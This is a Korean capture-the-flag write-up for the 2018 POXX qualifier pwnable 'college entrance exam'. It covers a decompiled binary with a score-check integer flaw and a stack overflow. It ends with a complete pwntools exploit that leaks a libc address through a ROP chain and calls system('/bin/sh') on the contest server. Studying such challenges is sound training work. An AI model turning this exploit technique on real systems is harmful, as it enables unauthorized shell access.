[2018 POXX 예선] college entrance exam

2018-10-28

college entrance exam (145p) 문제이다.

문제에 접속하면 다음과 같다.

ubuntu@ubuntu:~/pox$ ./cee
When is the college entrance exam?
aaa
NoNo..

문제의 보호기법을 확인 해 보면 다음과 같다.

pwndbg> checksec
[*] '/home/ubuntu/pox/cee'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

IDA로 분석 해 보면, 아래와 같은 소스코드를 확인할 수 있다. if문의 조건들을 만족하여 마지막에 가야하는 것으로 보인다. 리버싱(?)을 통해 처음에는 “2018-11-15”을 , 그 이후에는 integer overflow가 발생하므로 “-1”을 입력하여 마지막으로 갈 수 있다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s[32]; // [rsp+0h] [rbp-30h]
  unsigned int v5; // [rsp+20h] [rbp-10h]
  int v6; // [rsp+24h] [rbp-Ch]
  int v7; // [rsp+28h] [rbp-8h]
  int v8; // [rsp+2Ch] [rbp-4h]

  memset(s, 0, 0x20uLL);
  write(1, "When is the college entrance exam?\n", 0x23uLL);
  read(0, s, 0x1FuLL);
  s[strlen(s) - 1] = 0;
  if ( strcmp(s, "2018-11-15") )
  {
    write(1, "NoNo..", 6uLL);
    exit(-1);
  }
  write(1, "-------- DDAY - 165 --------\n", 0x1DuLL);
  write(1, "Enter your Korean score :", 0x19uLL);
  read(0, s, 4uLL);
  v8 = atoi(s);
  if ( v8 > 90 )
  {
    write(1, "..?", 4uLL);
    exit(-1);
  }
  write(1, "Enter your English score :", 0x1AuLL);
  read(0, s, 4uLL);
  v7 = atoi(s);
  if ( v7 > 90 )
  {
    write(1, "..?", 4uLL);
    exit(-1);
  }
  write(1, "Enter your math score :", 0x17uLL);
  read(0, s, 4uLL);
  v6 = atoi(s);
  if ( v6 > 90 )
  {
    write(1, "..?\n", 4uLL);
    exit(-1);
  }
  v5 = (v7 + v8 + v6) / 3;
  printf("AVG : %d\n", v5);
  if ( v5 <= 0x64 )
  {
    write(1, "What..? hu..", 0xCuLL);
  }
  else
  {
    write(1, "Wow!!! You are a genius!!!\n", 0x1BuLL);
    write(1, "Please enter your feelings!!\n", 0x1DuLL);
    read(0, s, 0x60uLL);
    write(1, "Thank You!!", 0xBuLL);
  }
  return 0LL;
}

마지막의 read 함수에서 leak하고 ROPgadget을 이용하여 exploit하면 된다.

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000000000400580  write@plt
0x0000000000400590  strlen@plt
0x00000000004005a0  printf@plt
0x00000000004005b0  memset@plt
0x00000000004005c0  read@plt
0x00000000004005d0  __libc_start_main@plt
0x00000000004005e0  strcmp@plt
0x00000000004005f0  atoi@plt
0x0000000000400600  exit@plt

libc-database를 이용하여 libc버전과 offset을 구하였다.

ubuntu@ubuntu:~/libc-database$ ldd ../pox/cee
	linux-vdso.so.1 =>  (0x00007fffa49b6000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbc98477000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fbc98841000)
ubuntu@ubuntu:~/libc-database$ gdb -q /lib/x86_64-linux-gnu/libc.so.6
pwndbg: loaded 169 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
pwndbg> p write-system
$1 = 728864

Exploit

from pwn import *

r = remote('49.247.192.131', 9802)

write_got = 0x0000000000601018
write_plt = 0x0000000000400580
read_got = 0x0000000000601038

ppr = 0x0000000000400a51 #: pop rsi ; pop r15 ; ret

r.recvuntil("When is the college entrance exam?\n")
r.sendline("2018-11-15")
r.recvuntil("Enter your Korean score :")
r.sendline("-1")
r.recvuntil("Enter your English score :")
r.sendline("-1")
r.recvuntil("Enter your math score :")
r.sendline("-1")

payload = "a"*56
payload += p64(ppr)
payload += p64(write_got)
payload += p64(0)
payload += p64(write_plt)

print "[*] payload", payload

r.recv()
r.send(payload)

r.recvuntil("Thank You!!")
leak = r.recv(8)

print "[*] leak : ", repr(leak)
write_libc = u64(leak)
print "[*] write_libc : ", hex(write_libc)
system_libc = write_libc - 0xb1f20
binsh_libc = write_libc + 0x95aa7
print "[*] system_libc : " , hex(system_libc)
print "[*] binsh_libc : ", hex(binsh_libc)

r.recv()
r.sendline("2018-11-15")
r.recv()
r.sendline("-1")
r.recv()
r.sendline("-1")
r.recv()
r.sendline("-1")

pr = 0x0000000000400a53 #: pop rdi ; ret

payload2 = p64(0x616161616161)*7
payload2 += p64(pr)
payload2 += p64(binsh_libc)
payload2 += p64(system_libc)
r.read()
r.send(payload2)

r.interactive()

위의 코드를 실행하 flag를 얻을 수 있었다.